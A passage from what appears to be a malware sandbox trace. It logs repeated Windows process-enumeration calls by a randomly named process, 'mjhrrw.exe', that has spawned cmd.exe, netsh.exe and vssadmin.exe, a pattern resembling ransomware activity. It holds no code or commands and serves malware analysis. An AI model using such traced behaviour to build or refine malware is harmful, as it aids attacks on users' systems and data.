out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0286.691] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0286.692] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0286.692] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0286.694] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0286.695] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0286.696] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0286.697] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.697] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0286.698] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0286.699] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0286.700] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0286.701] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0286.701] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0286.702] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0286.703] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0286.704] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.704] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0286.705] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0286.706] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0286.706] CloseHandle (hObject=0x2e0) returned 1 [0286.707] Sleep (dwMilliseconds=0x1f4) [0287.664] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x300 [0287.721] Process32FirstW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0287.722] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0287.723] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0287.723] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0287.724] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0287.725] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0287.725] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0287.726] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0287.726] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0287.727] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0287.728] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0287.728] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.729] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.730] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0287.730] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.731] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.732] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.733] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.733] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.734] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.735] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.735] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.736] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.736] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.737] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0287.738] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.738] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0287.739] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0287.740] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0287.740] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0287.741] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0287.742] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.743] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0287.743] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0287.744] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0287.744] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0288.056] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0288.056] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0288.057] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0288.058] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0288.058] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0288.061] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.062] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0288.063] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0288.063] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0288.064] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0288.065] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0288.065] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0288.066] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0288.067] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.067] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0288.068] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0288.069] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0288.069] CloseHandle (hObject=0x300) returned 1 [0288.070] Sleep (dwMilliseconds=0x1f4) [0288.958] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2dc [0288.966] Process32FirstW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0288.967] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0288.968] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0288.968] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0288.969] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0288.969] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0288.970] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0288.971] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0288.971] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0288.973] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0288.973] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, 